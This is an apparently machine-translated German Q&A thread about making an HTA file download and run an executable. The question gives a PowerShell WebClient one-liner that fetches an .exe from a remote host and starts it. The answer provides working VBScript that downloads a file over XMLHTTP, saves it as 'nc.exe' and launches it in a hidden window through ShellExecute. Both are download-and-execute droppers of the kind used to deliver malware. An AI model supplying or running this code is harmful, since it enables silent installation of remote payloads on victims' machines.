Herunterladen und Ausführen mit HTA

Question

Ich versuche, eine Datei mit Hilfe von hta herunterladen und öffnen.

Ich habe den folgenden Code ohne Glück versucht.

<script> 
a=new ActiveXObject("WScript.Shell"); 
run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus) 
</script> 

Kann pls jemand mit etwas schönen
Thx helfen.

Ich erhalte den folgenden Fehler. Script Error Image

Wenn ich ja klicke, zeigt es nur eine leere hta Konsole.

Answer 1

Warum nicht eine normale Get/Post-Anfrage verwenden, die Datei speichern und dann ausführen?

dim http_obj 
dim stream_obj 
dim shell_obj 

set http_obj = CreateObject("Microsoft.XMLHTTP") 
set stream_obj = CreateObject("ADODB.Stream") 
set Shell = CreateObject("shell.application") 

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from 
FILENAME = "nc.exe" 'Name to save the file (on the local system) 
Params = "-param1 -param2" 'Command to run after downloading 

http_obj.open "GET", URL, False 
http_obj.send 

stream_obj.type = 1 
stream_obj.open 
stream_obj.write http_obj.responseBody 
stream_obj.savetofile FILENAME, 2 

Shell.ShellExecute FILENAME , Params , "" , "" , 0 

bekam den größten Teil des Codes von http://www.mikemurr.com/vbscript-download-and-execute-file/ mit einigen Abspaltungen als HTA nicht rein Vbscript ist.